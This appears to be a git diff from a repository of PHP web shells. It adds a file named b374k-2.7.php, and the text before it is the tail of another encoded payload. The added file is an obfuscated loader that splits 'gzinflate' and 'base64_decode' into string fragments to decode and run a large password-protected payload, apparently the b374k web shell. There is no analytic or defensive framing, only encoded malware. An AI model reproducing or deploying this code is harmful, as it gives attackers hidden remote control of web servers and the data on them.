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",$s_pass);?> \ No newline at end of file diff --git a/php/b374k/b374k-2.7.php b/php/b374k/b374k-2.7.php new file mode 100644 index 0000000..d103567 --- /dev/null +++ b/php/b374k/b374k-2.7.php @@ -0,0 +1,10 @@ +".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("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